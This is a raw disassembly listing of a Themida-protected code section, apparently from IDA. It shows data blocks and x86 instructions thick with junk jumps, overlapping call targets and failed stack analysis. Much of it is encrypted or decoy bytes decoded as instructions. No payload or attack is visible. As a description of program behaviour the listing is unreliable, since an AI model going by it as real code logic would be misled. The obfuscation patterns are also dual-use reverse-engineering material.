dd 238AE67Bh, 35B99C41h, 0E5A2B325h, 3AEE7C74h, 331ABE66h
dd 80E3B35Fh, 9E9F4C3h, 66000000h, 57C7203Fh, 40701B40h
dd 13E8h, 83F2DE00h, 1CABB452h, 0FC8E73D8h, 2307493Bh
dd 0AAA640ECh, 0C8F0Fh, 7E90000h, 9F000000h, 4B727FF9h
dd 0B95E6889h, 6D95BC0Bh, 0EE9h, 0DCA04C00h, 9130C3F1h
dd 73A4F8D2h, 60E1089Ah, 870F60h, 52000000h, 8B0F615Fh
dd 12h, 0CE8h, 0D7ECD00h, 3CE71B25h, 9E8AE308h, 0F61595Fh
dd 168Bh, 11E900h, 1AB10000h, 64826CCFh, 86CADAh, 3610FE48h
dd 0E94E526Dh, 10h, 7C4AB636h, 2F93EC64h, 3764654Dh, 13836943h
dd 66FB8B66h, 10E9C28Bh, 0A0000000h, 0BF7080F5h, 793A498h
dd 72424B9Dh, 8B9ABA10h, 20BE66F2h, 5E89Fh, 0E8100000h
dd 60DA75EDh, 58616160h, 14E8h, 0BC5CC700h, 0B7EA599Eh
dd 2B15B3C6h, 0F7B93E09h, 0C8A42F34h, 0CE905h, 177E0000h
dd 72591679h, 0B6D1C595h, 0F5E1E43h, 0F58AD8B7h, 78D88166h
dd 0B70FF94Fh, 3800FCEh, 80000000h, 0BA6617E0h, 0BE667345h
dd 0F18BA36Ah, 0DE9F8h, 0C0E00000h, 513411DCh, 89F59B05h
dd 8154BAE2h, 0F80B55E7h, 0F2816029h, 3E1F4883h, 0C2D5B966h
dd 0B70F6061h, 5E8F7h, 0F23E0000h, 0F7DE923h, 615ACFBFh
dd 2830Fh, 38B30000h, 0AE9h, 60BCBE00h, 0A78ECC45h, 606E4890h
dd 0CE953h, 21FF0000h, 2E0C2833h, 64E8813Ch, 8B5A2A88h
dd 0AE861FEh, 0C0000000h, 2BD81EBh, 0D5602C7Dh, 0C28B6614h
dd 8DC0815Ah, 0BB434D91h, 64F8B963h, 0FC28B66h, 81h, 880F6000h
dd 2, 34B368B0h, 0DA8B6661h, 15810Fh, 10E90000h, 48000000h
dd 30EB0133h, 0EF95BCE9h, 0E27FE905h, 66D36B60h, 0BF0FDF8Bh
dd 981EBBFEh, 0CB8B7838h, 8E8h, 65698D00h, 52FFC2D8h, 840F53B8h
dd 0
; ---------------------------------------------------------------------------
pop ebx
pop edx
jmp loc_60F758
; ---------------------------------------------------------------------------
db 0CDh
dd 0F6A0E641h
; ---------------------------------------------------------------------------
loc_60F758: ; CODE XREF: Themida_:0060F74Ej
jmp loc_60F76A
; ---------------------------------------------------------------------------
db 0A4h, 73h, 9Ah
; ---------------------------------------------------------------------------
or cl, ah
sbb edx, eax
jbe short loc_60F7BD
sub [edi+62h], edx
stc
loc_60F76A: ; CODE XREF: Themida_:loc_60F758j
call near ptr loc_60F77B+3
std
xchg dh, [ecx]
mov bl, 0Eh
into
mov ds:0C4176339h, edx
loc_60F77B: ; CODE XREF: Themida_:loc_60F76Ap
xchg esp, [edx-7499A48Fh]
retn 0BF0Fh
; ---------------------------------------------------------------------------
icebp
jmp loc_60F79C
; ---------------------------------------------------------------------------
xor al, 0DDh
retn
; ---------------------------------------------------------------------------
cld
push ds
dec ebx
aad 4Dh
and esi, [edx+32717F0Eh]
setalc
fidiv dword ptr [eax+eax]
loc_60F79C: ; CODE XREF: Themida_:0060F785j
sbb ecx, 5ECDC7A3h
sub esi, 6D85D05Fh
call near ptr loc_60F7B3+3
ror byte ptr ds:0CE7E1C51h, cl
loc_60F7B3: ; CODE XREF: Themida_:0060F7A8p
cmp [esi+58B0F1Bh], esi
; ---------------------------------------------------------------------------
db 3 dup(0)
db 0B9h
; ---------------------------------------------------------------------------
loc_60F7BD: ; CODE XREF: Themida_:0060F764j
cmp [eax], edx
jl short near ptr loc_60F7E8+1
pop esi
mov bx, 1852h
call sub_60F7DE
mov ch, [ebx+493D509Ah]
rcr dword ptr [ebx+24728E31h], 0B2h
sbb [ebp+5A324D2Ah], edi
; =============== S U B R O U T I N E =======================================
sub_60F7DE proc near ; CODE XREF: Themida_:0060F7C6p
mov esi, edx
pop eax
push esi
jz loc_60F7EE
loc_60F7E8: ; CODE XREF: Themida_:0060F7BFj
or ecx, 12E7D3A1h
loc_60F7EE: ; CODE XREF: sub_60F7DE+4j
pop edi
mov edx, 7088312Bh
movzx eax, ax
mov al, dl
mov bx, 0DB9Dh
jnb loc_60F80C
jg loc_60F80C
and dh, 1Bh
loc_60F80C: ; CODE XREF: sub_60F7DE+1Fj
; sub_60F7DE+25j
mov edi, ecx
jb loc_60F82A
jmp loc_60F82A
; ---------------------------------------------------------------------------
cmp ch, al
push es
sbb ecx, [esi+129E67B4h]
stc
mov ah, 8
dec ebx
cmovno edx, eax
lodsd
loc_60F82A: ; CODE XREF: sub_60F7DE+30j
; sub_60F7DE+36j
mov cx, ax
pusha
mov dh, 0E9h
push eax
and cx, 24F8h
pop edi
popa
jo loc_60F841
and bh, 14h
loc_60F841: ; CODE XREF: sub_60F7DE+5Aj
add ebx, 649A563Dh
clc
add dx, 0DC55h
sbb bx, 3D78h
sub si, 3950h
jz loc_60F85F
mov dh, bl
loc_60F85F: ; CODE XREF: sub_60F7DE+79j
xor al, 1Eh
cld
or ebx, 5F6039C2h
call sub_60F874
aad 0DBh
int 8Ah ; used by BASIC while in interpreter
fsub dword ptr [ecx]
sub_60F7DE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60F874 proc near ; CODE XREF: sub_60F7DE+8Bp
call sub_60F886
or eax, 2EBDB55Fh
add edi, [ecx-56h]
jo short near ptr loc_60F8B7+5
lock inc eax
cli
sub_60F874 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60F886 proc near ; CODE XREF: sub_60F874p
mov bh, ch
pop edi
pop eax
pusha
pusha
mov edi, edx
mov esi, 0D4864C1h
popa
mov bx, 93F7h
popa
mov dl, ah
js loc_60F8AD
jle loc_60F8AD
jnz $+6
loc_60F8AD: ; CODE XREF: sub_60F886+15j
; sub_60F886+1Bj
jo loc_60F8B6
movsx eax, di
loc_60F8B6: ; CODE XREF: sub_60F886:loc_60F8ADj
pusha
loc_60F8B7: ; CODE XREF: sub_60F874+Dj
add ebx, 3B032CD4h
mov ebx, 44CEEAC6h
popa
mov bh, 11h
js loc_60F8D0
push esi
or cl, 2Bh
pop ebx
loc_60F8D0: ; CODE XREF: sub_60F886+3Fj
movzx ecx, ax
mov cx, ax
xor dl, 7Dh
xor eax, 213A3D94h
or dl, 0D7h
jp loc_60F8EB
movzx esi, di
loc_60F8EB: ; CODE XREF: sub_60F886+5Cj
jns loc_60F8F2
cld
loc_60F8F2: ; CODE XREF: sub_60F886:loc_60F8EBj
; sub_60F886+DCj
and eax, 0A9521A0h
push edx
adc esi, 3551088Ch
pop ecx
stc
sub eax, 7FE10209h
jg $+6
mov ecx, 63C70235h
cld
jmp loc_60F91E
; ---------------------------------------------------------------------------
dd 92E761B0h
db 17h, 7Dh
; ---------------------------------------------------------------------------
loc_60F91E: ; CODE XREF: sub_60F886+8Dj
movzx edi, ax
or cx, 0E6Eh
jmp loc_60F934
; ---------------------------------------------------------------------------
db 47h
dd 0C9373A1Dh, 6BE22074h
; ---------------------------------------------------------------------------
loc_60F934: ; CODE XREF: sub_60F886+A0j
jmp loc_60F94D
; ---------------------------------------------------------------------------
db 0C8h, 96h, 0E8h
dd 6BD9DF23h, 847BE11Ah, 727A2980h, 0B9329278h
db 73h
; ---------------------------------------------------------------------------
loc_60F94D: ; CODE XREF: sub_60F886:loc_60F934j
or eax, 0B53FF53h
cmc
or cx, 0BEC5h
mov ax, dx
call near ptr loc_60F964+2
in al, dx
jg short near ptr loc_60F8F2+1
loc_60F964: ; CODE XREF: sub_60F886+D6p
bound eax, [ecx-75h]
sub_60F886 endp ; sp-analysis failed
lock pop edi
push ecx
or di, 0C3BEh
pop edx
pusha
mov dx, 5FE5h
jmp loc_60F984
; ---------------------------------------------------------------------------
db 90h
; ---------------------------------------------------------------------------
inc esi
pop es
push esi
setalc
mov [ebp+21h], di
inc ecx
loc_60F984: ; CODE XREF: Themida_:0060F975j
popa
stc
sub al, 0F0h
xor di, 578Bh
cld
jns loc_60F997
mov bh, 9Fh
loc_60F997: ; CODE XREF: Themida_:0060F98Fj
mov si, 10C5h
mov edx, ebx
jmp loc_60F9B1
; ---------------------------------------------------------------------------
dw 3123h
dd 9498CF06h, 6CD88F55h, 182F78D5h
db 0C2h
; ---------------------------------------------------------------------------
loc_60F9B1: ; CODE XREF: Themida_:0060F99Dj
jmp loc_60F9C2
; ---------------------------------------------------------------------------
dw 788h
dd 0C51083F8h, 0D91AF36Eh
db 98h, 6Eh
; ---------------------------------------------------------------------------
loc_60F9C2: ; CODE XREF: Themida_:loc_60F9B1j
and al, 19h
and eax, 3CF168CEh
jmp loc_60F9DD
; ---------------------------------------------------------------------------
ror byte ptr [edx+76h], 1
dec edi
pop edx
adc al, 5Dh
xchg eax, edx
and eax, 2FBD3C6Ah
loc_60F9DD: ; CODE XREF: Themida_:0060F9CBj
mov edi, esi
mov si, 0FC79h
clc
mov si, 638Ah
mov ah, dl
jle loc_60FA05
jmp loc_60FA05
; ---------------------------------------------------------------------------
db 0ACh, 91h, 0D6h
dd 0D0BBEEBFh, 6F1C7007h, 8B887B35h
db 77h
; ---------------------------------------------------------------------------
loc_60FA05: ; CODE XREF: Themida_:0060F9EAj
; Themida_:0060F9F0j
mov di, 0AEA2h
movzx ecx, cx
push edx
jmp loc_60FA1B
; ---------------------------------------------------------------------------
dw 6F55h
dd 53575014h
db 73h, 9Bh, 0ABh
; ---------------------------------------------------------------------------
loc_60FA1B: ; CODE XREF: Themida_:0060FA0Dj
pop eax
movzx ecx, di
mov ah, ch
and bl, 0A1h
push esi
cmc
pop esi
pusha
xor cl, 73h
popa
mov cl, dl
cmc
movsx edi, bx
stc
jnp loc_60FA3B
mov dl, 0B6h
loc_60FA3B: ; CODE XREF: Themida_:0060FA33j
mov al, dh
adc edi, 15FF95D2h
mov si, cx
mov ax, 59EAh
mov si, cx
jge $+6
mov dx, 2523h
jp $+6
mov dx, 2DD7h
mov cx, 413h
pusha
jo loc_60FA82
jmp loc_60FA82
; ---------------------------------------------------------------------------
db 2Bh, 26h, 0ADh
dd 0C9ABEF1Bh, 3D768860h, 176D8D1Fh
db 5Eh, 2Bh
; ---------------------------------------------------------------------------
loc_60FA82: ; CODE XREF: Themida_:0060FA66j
; Themida_:0060FA6Cj
popa
cld
push eax
mov ax, bx
pop ecx
push edi
mov eax, 0C85E3A8h
pop eax
xor si, 0C41Fh
push eax
jb loc_60FAA2
ja $+6
loc_60FAA2: ; CODE XREF: Themida_:0060FA96j
pop edi
jnz $+6
call near ptr loc_60FABD+2
sub [edi], ch
enter 7C26h, 0A0h
lodsb
db 64h
pop esp
sub edx, [esi+4C9FDFB9h]
loc_60FABD: ; CODE XREF: Themida_:0060FAA9p
mov esi, 90F08055h
pop ebx
jmp loc_60FAD9
; ---------------------------------------------------------------------------
dd 1377B5B9h, 0CFCF13FAh, 0AE1265CBh, 0C48D54D9h
db 0C5h
; ---------------------------------------------------------------------------
loc_60FAD9: ; CODE XREF: Themida_:0060FAC3j
pusha
cld
popa
jnp loc_60FAEA
push edx
jno $+6
pop ecx
loc_60FAEA: ; CODE XREF: Themida_:0060FADCj
mov di, 452Dh
mov si, 0ED00h
mov ah, 63h
jge loc_60FAFB
stc
loc_60FAFB: ; CODE XREF: Themida_:0060FAF4j
or eax, 22AF4924h
xor al, 8Ah
mov cx, 2110h
mov eax, ebx
adc ah, 0DEh
pusha
mov ax, bx
jmp loc_60FB1D
; ---------------------------------------------------------------------------
dw 0C365h
dd 0C17A5E04h
; ---------------------------------------------------------------------------
cmpsb
loc_60FB1D: ; CODE XREF: Themida_:0060FB11j
popa
mov ch, 80h
stc
xor si, 3FD6h
mov bx, dx
mov ch, bl
xor ch, 74h
jmp loc_60FB40
; ---------------------------------------------------------------------------
db 97h
dd 19B5A3D0h, 0B4EA17Eh, 8E74BFBCh
; ---------------------------------------------------------------------------
loc_60FB40: ; CODE XREF: Themida_:0060FB2Ej
jmp loc_60FB50
; ---------------------------------------------------------------------------
db 0F8h, 98h, 47h
dd 0AAC11651h, 25E51D28h
; ---------------------------------------------------------------------------
loc_60FB50: ; CODE XREF: Themida_:loc_60FB40j
jmp loc_60FB64
; ---------------------------------------------------------------------------
db 0ABh, 4Ah, 0DFh
dd 3B9966E6h, 0ADC4B5F4h, 2F4EDD01h
; ---------------------------------------------------------------------------
loc_60FB64: ; CODE XREF: Themida_:loc_60FB50j
mov dx, 0E8DCh
adc bh, 44h
mov bl, 0B6h
mov ch, 0BBh
mov bl, al
pusha
mov si, 0E38Ch
jmp loc_60FB81
; ---------------------------------------------------------------------------
db 0F0h
; ---------------------------------------------------------------------------
pop eax
xor al, 0Eh
or [ebx], ebx
loc_60FB81: ; CODE XREF: Themida_:0060FB76j
popa
mov al, 0FEh
jp loc_60FB8D
and bh, 66h
loc_60FB8D: ; CODE XREF: Themida_:0060FB84j
mov cx, si
jmp loc_60FB9E
; ---------------------------------------------------------------------------
db 0DEh, 98h, 7Dh
dd 58A85DFAh
db 0FCh, 0DDh
; ---------------------------------------------------------------------------
loc_60FB9E: ; CODE XREF: Themida_:0060FB90j
cld
jmp loc_60FBAD
; ---------------------------------------------------------------------------
dd 0EF0C7728h, 357B6012h
db 0BFh
; ---------------------------------------------------------------------------
loc_60FBAD: ; CODE XREF: Themida_:0060FB9Fj
cmc
adc si, 2961h
jz loc_60FBC4
jmp loc_60FBC4
; ---------------------------------------------------------------------------
dw 40DCh
dd 0B2DDDD36h
; ---------------------------------------------------------------------------
loc_60FBC4: ; CODE XREF: Themida_:0060FBB3j
; Themida_:0060FBB9j
jmp loc_60FBD0
; ---------------------------------------------------------------------------
db 56h, 0ABh, 0A6h
dd 0D8ECFB13h
; ---------------------------------------------------------------------------
loc_60FBD0: ; CODE XREF: Themida_:loc_60FBC4j
cmc
xor ax, 591Eh
ja $+6
add edi, 27896772h
jz loc_60FC01
jmp loc_60FC01
; ---------------------------------------------------------------------------
xchg eax, ebp
mov al, 5
xor al, 0A5h
mov ds, word ptr [esi-24h]
push edi
aas
jmp short loc_60FC5F
; ---------------------------------------------------------------------------
db 0F4h, 36h, 0D9h
; ---------------------------------------------------------------------------
mov word ptr [ebx+35h], ds
lahf
inc edx
loc_60FC01: ; CODE XREF: Themida_:0060FBE2j
; Themida_:0060FBE8j
mov bl, 0DEh
add edi, 2540490Fh
adc ax, 12EDh
jbe loc_60FC18
mov dx, 0F939h
loc_60FC18: ; CODE XREF: Themida_:0060FC0Ej
jnz loc_60FC22
push eax
mov ah, 98h
pop eax
loc_60FC22: ; CODE XREF: Themida_:loc_60FC18j
adc cx, 0CC71h
mov edi, 70F562B6h
jmp loc_60FC43
; ---------------------------------------------------------------------------
db 0DDh, 0A2h, 1Fh
; ---------------------------------------------------------------------------
fcomp dword ptr [esi-1BF63E19h]
xchg eax, ebp
inc edi
les esi, [edi]
and ebx, [eax+edx*4]
pop ss
loc_60FC43: ; CODE XREF: Themida_:0060FC2Cj
add ebx, 734136B5h
mov bh, dl
mov ax, 0A742h
pusha
add cx, 1561h
mov ax, bx
popa
pusha
call near ptr loc_60FC64+1
loc_60FC5F: ; CODE XREF: Themida_:0060FBF7j
or [ebp+edi-5Bh], edx
std
loc_60FC64: ; CODE XREF: Themida_:0060FC5Ap
; Themida_:0060FC9Bj
ja short loc_60FC75
mov word ptr [eax], es
; ---------------------------------------------------------------------------
dd 59000000h, 14E961h, 0C6B40000h
db 0E2h
; ---------------------------------------------------------------------------
loc_60FC75: ; CODE XREF: Themida_:loc_60FC64j
mov eax, ds:0DF62F50Ah
into
mov ah, ah
sbb al, [edi+edx*4]
mov esp, 98DBFA0Bh
rol byte ptr [eax-26759439h], 1
movsx ecx, si
jl loc_60FCA9
call near ptr loc_60FC9E+4
inc ecx
dec edi
jg short near ptr loc_60FC64+1
push ss
loc_60FC9E: ; CODE XREF: Themida_:0060FC94p
call far ptr 7FF3h:812F59DDh
stc
add bl, [edx]
pop esi
loc_60FCA9: ; CODE XREF: Themida_:0060FC8Ej
mov si, 77A4h
pusha
jno loc_60FCB5
cmc
loc_60FCB5: ; CODE XREF: Themida_:0060FCAEj
jl loc_60FCBD
pusha
popa
loc_60FCBD: ; CODE XREF: Themida_:loc_60FCB5j
popa
call loc_60FCCB
int 0E2h ; used by BASIC while in interpreter
setalc
or ah, [edx-20h]
cli
loc_60FCCB: ; CODE XREF: Themida_:0060FCBEp
jp $+6
pop ebx
pusha
mov al, 76h
mov edi, 7DBFA01Ch
popa
mov ecx, ebx
sbb bx, 0DF7Dh
cmc
add edx, 14B53E9Ah
jbe loc_60FCF5
xor ecx, 7A952DC5h
loc_60FCF5: ; CODE XREF: Themida_:0060FCE9j
push ebx
movsx ebx, ax
pop eax
mov ebx, esi
movzx ecx, bx
mov dx, cx
mov si, dx
call loc_60FD18
jbe short loc_60FD28
mov ch, 0FCh
mov dl, dh
sbb eax, 2C3F0237h
stosb
push ebp
; ---------------------------------------------------------------------------
db 0C5h
; ---------------------------------------------------------------------------
loc_60FD18: ; CODE XREF: Themida_:0060FD05p
jmp near ptr loc_60FD28+1
; ---------------------------------------------------------------------------
db 9Eh, 82h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_60FD6A
loc_60FD1F: ; CODE XREF: sub_60FD6A+15j
scasb
leave
lodsd
mov ah, 5Ch
wait
retn 8170h
; END OF FUNCTION CHUNK FOR sub_60FD6A
; ---------------------------------------------------------------------------
loc_60FD28: ; CODE XREF: Themida_:0060FD0Aj
; Themida_:loc_60FD18j
aam 59h
stc
jmp loc_60FD43
; ---------------------------------------------------------------------------
dd 0C684A114h, 0F6E873B2h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_60FD6A
loc_60FD38: ; CODE XREF: sub_60FD6A+13j
arpl [edx-68FF24BEh], bp
sub [eax+31h], ah
inc ebp
; END OF FUNCTION CHUNK FOR sub_60FD6A
; ---------------------------------------------------------------------------
db 3
; ---------------------------------------------------------------------------
loc_60FD43: ; CODE XREF: Themida_:0060FD2Bj
call sub_60FD56
imul edi, [edx+210767A3h], -55h
imul edi, [edi+esi+6Bh], -78h
sbb edi, [eax]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_60FD56 proc near ; CODE XREF: Themida_:loc_60FD43p
jmp sub_60FD6A
sub_60FD56 endp
; ---------------------------------------------------------------------------
db 9Bh
dd 3C9A3F40h, 8E8E55CDh, 0B72874B1h
; ---------------------------------------------------------------------------
jz short loc_60FD70
; =============== S U B R O U T I N E =======================================
sub_60FD6A proc near ; CODE XREF: sub_60FD56j
; FUNCTION CHUNK AT 0060FD1F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0060FD38 SIZE 0000000A BYTES
pop ecx
push eax
clc
pop eax
pusha
push ecx
loc_60FD70: ; CODE XREF: Themida_:0060FD68j
call near ptr loc_60FD81+4
sbb [ecx+ebx*8], esi
loop near ptr loc_60FDE0+4
push ebx
adc al, 94h
jno short loc_60FD38
jo short loc_60FD1F
loc_60FD81: ; CODE XREF: sub_60FD6A:loc_60FD70p
and eax, 5BEFAAAEh
sub_60FD6A endp ; sp-analysis failed
pop edx
jo loc_60FD90
movzx edx, ax
loc_60FD90: ; CODE XREF: Themida_:0060FD87j
popa
pusha
jo loc_60FD9C
mov cx, 0FB30h
loc_60FD9C: ; CODE XREF: Themida_:0060FD92j
movsx eax, dx
popa
movsx ecx, dx
mov ebx, 37A13F95h
call sub_60FDC1
mov cl, 0Bh
pop ecx
pop ebp
lds ebp, [ecx]
cmc
iret
; ---------------------------------------------------------------------------
xchg eax, ecx
neg dword ptr [edi+edx*4+31CB4BE4h]
fcomp5 st(3)
fld st(7)
; =============== S U B R O U T I N E =======================================
sub_60FDC1 proc near ; CODE XREF: Themida_:0060FDA8p
add eax, 39A30AB4h
pop esi
jmp loc_60FDDA
; ---------------------------------------------------------------------------
stosd
loc_60FDCE: ; CODE XREF: sub_60FDFE+17j
xor [ecx], ch
dec edx
in eax, 6Ch
push eax
mov edi, 4FAEB0B8h
; ---------------------------------------------------------------------------
db 82h
; ---------------------------------------------------------------------------
loc_60FDDA: ; CODE XREF: sub_60FDC1+7j
ja loc_60FDE6
loc_60FDE0: ; CODE XREF: sub_60FD6A+Ej
adc edx, 577CD419h
loc_60FDE6: ; CODE XREF: sub_60FDC1:loc_60FDDAj
jp loc_60FE04
call sub_60FDFE
mov edx, 546DB872h
mov cl, 42h
shl byte ptr [eax+esi*8-3Bh], 1
push cs
dec eax
sub_60FDC1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60FDFE proc near ; CODE XREF: sub_60FDC1+2Bp
sbb cx, 47BAh
pop esi
loc_60FE04: ; CODE XREF: sub_60FDC1:loc_60FDE6j
jz near ptr loc_60FE1D+4
jge near ptr loc_60FE1D+4
call near ptr loc_60FE1D+3
jz short loc_60FDCE
and [edi-1Ch], cl
inc ebx
inc esp
icebp
loc_60FE1D: ; CODE XREF: sub_60FDFE+12p
; sub_60FDFE:loc_60FE04j ...
mov ebx, 8A58061Dh
sub_60FDFE endp ; sp-analysis failed
ror dword ptr [edi], cl
xchg eax, [ecx]
; ---------------------------------------------------------------------------
dw 0
dd 0CE8F900h, 0E8000000h, 0AFB9460Ah, 0EC74D5C0h, 0E975FDC3h
dd 10h, 13B3C4D3h, 2BE4316h, 0EBE82EC0h, 2D076329h, 11E9605Ah
dd 33000000h, 0A4D7FD45h, 0F1237AB0h, 4B02ED8h, 0F1363CF5h
dd 61D18B66h, 3810Fh, 0E6800000h, 4CB9F93Ch, 0F948DEB1h
dd 54BD56B8h, 6E956h, 0B070000h, 0FDA1FF67h, 0C0B7D08Ah
dd 0CA816660h, 0F3813F41h, 66325B87h, 30D88061h, 9BBAEA8Ah
dd 0E96EF41Dh, 0Ah, 7A687013h, 342B2AABh, 8D0FAA73h, 26h
dd 10E8h, 4BF44100h, 760AE3Bh, 7301EB40h, 0E897C061h, 0BE92Ah
dd 245F0000h, 0CCBB3A49h, 2DB757A4h, 9E85A30h, 91000000h
dd 0D2976ACEh, 36668D8Eh, 5980F780h, 0FE9h, 0E034FA00h
dd 0F70CFF1Ch, 5B9B83B1h, 685F8AAAh, 48A0Fh, 0BA660000h
dd 0DE97F6Fh, 8F000000h, 951A37A5h, 7DCE7ADDh, 5A66D900h
dd 338694BFh, 0E1BA6676h, 7E9BBh, 0D2EA0000h, 0C8E9D4E3h
dd 6190B850h, 0CE806853h, 0EF8AF533h, 9E9h, 6BCC1000h
dd 5404610Fh, 800F404Eh, 0Ah, 48C0Fh, 0B8660000h, 0BF0F4180h
dd 20B866C0h, 0D88B665Fh, 67DA8166h, 50CABB7Eh, 8F0F2F49h
dd 0
; ---------------------------------------------------------------------------
jo loc_60FF98
jmp loc_60FF98
; ---------------------------------------------------------------------------
db 0DDh
; ---------------------------------------------------------------------------
mov ebx, 0E5E49939h
push es
cmp ebx, [ebx+0Ah]
loc_60FF91: ; CODE XREF: Themida_:loc_60FF91j
ja short loc_60FF91
inc ebp
fcmovb st, st(1)
; ---------------------------------------------------------------------------
dw 0D86h
; ---------------------------------------------------------------------------
loc_60FF98: ; CODE XREF: Themida_:0060FF7Cj
; Themida_:0060FF82j
mov edx, 2D13CE1Eh
movzx edx, dx
jmp loc_60FFAC
; ---------------------------------------------------------------------------
db 5Bh, 73h, 0A3h
dd 0E71FD7EEh
; ---------------------------------------------------------------------------
loc_60FFAC: ; CODE XREF: Themida_:0060FFA0j
call sub_60FFBF
cmovg ebx, [ebp-55h]
daa
cmp dl, ss:[edx]
popf
call near ptr 0A762D72Fh
; =============== S U B R O U T I N E =======================================
sub_60FFBF proc near ; CODE XREF: Themida_:loc_60FFACp
mov ax, 2EFh
pop ebx
call near ptr loc_60FFCF+5
wait
mov esp, 0FA4AFC2Fh
loc_60FFCF: ; CODE XREF: sub_60FFBF+5p
les edi, [eax+5AFF88FFh]
sub_60FFBF endp ; sp-analysis failed
js loc_60FFDC
cld
loc_60FFDC: ; CODE XREF: Themida_:0060FFD5j
mov dl, 7Ch
jl loc_60FFE5
stc
loc_60FFE5: ; CODE XREF: Themida_:0060FFDEj
push edx
jz loc_60FFF0
mov ax, 9C81h
loc_60FFF0: ; CODE XREF: Themida_:0060FFE6j
pop esi
mov edi, ecx
call sub_610003
db 36h
mov edx, [ebp-25F1989Ch]
cmp al, 8Dh
cmp al, 6Eh
; =============== S U B R O U T I N E =======================================
sub_610003 proc near ; CODE XREF: Themida_:0060FFF3p
pusha
jmp loc_610015
; ---------------------------------------------------------------------------
db 6Ch, 0CAh, 18h
dd 960C7097h, 0FD1E1624h
db 62h
; ---------------------------------------------------------------------------
loc_610015: ; CODE XREF: sub_610003+1j
pusha
popa
popa
pop edx
jmp loc_61002A
; ---------------------------------------------------------------------------
dw 0C679h
dd 8AF0A31Dh, 65CCAA8Dh
db 0CDh, 0E4h
; ---------------------------------------------------------------------------
loc_61002A: ; CODE XREF: sub_610003+16j
mov cx, si
add eax, 377D45B1h
sub si, 0B4E5h
movzx esi, si
stc
sub bx, 0EF16h
mov ebx, esi
call near ptr loc_61004E+1
repne inc dword ptr [edx]
aaa
and ebx, edi
loc_61004E: ; CODE XREF: sub_610003+40p
mov bh, cl
sub_610003 endp ; sp-analysis failed
pop esi
add esi, 3C07D420h
movsx edx, bx
jno loc_610065
and ax, 9834h
loc_610065: ; CODE XREF: Themida_:0061005Aj
push eax
cld
pop eax
movzx ecx, si
pusha
sbb eax, 14C7C1A6h
mov edx, 6EE7F99Dh
popa
add bh, 5Ah
mov si, 91E2h
jge loc_610086
stc
loc_610086: ; CODE XREF: Themida_:0061007Fj
jmp loc_61009A
; ---------------------------------------------------------------------------
db 19h
dd 88B479E5h, 5082E01Ah, 0F2A5B0F5h
db 38h, 3Bh
; ---------------------------------------------------------------------------
loc_61009A: ; CODE XREF: Themida_:loc_610086j
jz loc_6100B8
jmp loc_6100B8
; ---------------------------------------------------------------------------
db 0B0h, 0F4h, 68h
dd 54DD37AEh, 342F44A1h, 785ED287h, 39E1286Eh
; ---------------------------------------------------------------------------
loc_6100B8: ; CODE XREF: Themida_:loc_61009Aj
; Themida_:006100A0j
mov edi, ecx
call near ptr loc_6100CB+4
push esi
loop near ptr loc_6100D2+1
adc byte ptr [edi-6Bh], 8
inc edx
add [ebx+edx*2-52h], esp
loc_6100CB: ; CODE XREF: Themida_:006100BAp
push 8B99D798h
clc
pop ecx
loc_6100D2: ; CODE XREF: Themida_:006100C0j
mov dx, ax
clc
xor edx, 2556AA4h
jmp loc_6100F0
; ---------------------------------------------------------------------------
db 3Ah, 0CEh, 3Dh
dd 250A7167h, 88A77652h, 69BF8737h
; ---------------------------------------------------------------------------
loc_6100F0: ; CODE XREF: Themida_:006100DCj
movzx eax, dx
mov cl, dh
xor edx, 2696BB09h
xor dl, 7Ch
pusha
cmc
mov ax, 0D0EDh
popa
pusha
call near ptr loc_610114+1
xor dl, [edx+2Dh]
pop ebp
mov cl, 0E9h
arpl [edi-4Eh], ax
loc_610114: ; CODE XREF: Themida_:00610106p
mov dl, [ebx+5Fh]
pop ecx
popa
mov bl, 0D4h
sub si, 81ECh
mov eax, 225EF6FFh
jmp loc_61013E
; ---------------------------------------------------------------------------
dw 0B79Bh
dd 0D8941D11h, 5A6A33FBh, 0D6FC3BE1h, 0A513D8BCh
db 0F3h, 9Bh
; ---------------------------------------------------------------------------
loc_61013E: ; CODE XREF: Themida_:00610125j
push esi
push eax
mov esi, 7960BDFAh
pop ebx
pop edi
jmp loc_61015E
; ---------------------------------------------------------------------------
dd 0AE4AB809h, 407212C1h, 67C11D6Ch, 0A476D105h
db 21h, 0AAh
; ---------------------------------------------------------------------------
loc_61015E: ; CODE XREF: Themida_:00610147j
pusha
pusha
mov cx, 0EE5h
jmp loc_61016F
; ---------------------------------------------------------------------------
db 0D6h, 1Fh, 0ECh
db 0BCh, 8Eh, 0D7h
; ---------------------------------------------------------------------------
loc_61016F: ; CODE XREF: Themida_:00610164j
popa
popa
mov ecx, esi
movsx edx, dx
mov edx, edi
jmp loc_610191
; ---------------------------------------------------------------------------
db 18h, 2, 8Ah
dd 28507F27h, 0CE2B3463h, 59D06D1Ch, 6BFEA5E4h
db 0A1h
; ---------------------------------------------------------------------------
loc_610191: ; CODE XREF: Themida_:00610178j
xor al, 2Ch
call near ptr loc_6101AB+1 ; CODE XREF: Themida_:loc_6101ABj
add al, 0DBh
xor cl, [eax+4A5F5C58h]
pop ebx
pop ebx
push 0FFFFFF92h
sbb al, 0F1h
add ebp, [edx-76h]
pop ds
loc_6101AB: ; CODE XREF: Themida_:00610194p
jo short near ptr loc_610194+1
add eax, 9B000000h
inc esi
sub [ecx], cl
lodsd
mov di, 5ACAh
pop edi
pop eax
mov eax, 573CEBB0h ; CODE XREF: Themida_:0061020Ej
stc
jno loc_6101CD
mov eax, 6B09E22Bh
loc_6101CD: ; CODE XREF: Themida_:006101C2j
pusha
movsx ebx, di
jmp loc_6101E6
; ---------------------------------------------------------------------------
dw 0A26Ah
dd 0CB1D1EB6h, 1434CE13h, 0ED52F287h
db 67h, 0E1h
; ---------------------------------------------------------------------------
loc_6101E6: ; CODE XREF: Themida_:006101D1j
popa
jz loc_6101EF
mov edi, edx
loc_6101EF: ; CODE XREF: Themida_:006101E7j
mov dl, cl
movsx esi, si
stc
movsx ecx, cx
add edx, 78D5F5C4h
mov esi, 5993684Bh
stc
call near ptr loc_610215+1
mov ebp, 0B40D0783h
jl short near ptr loc_6101BC+2
mov ds:0F421063Bh, eax
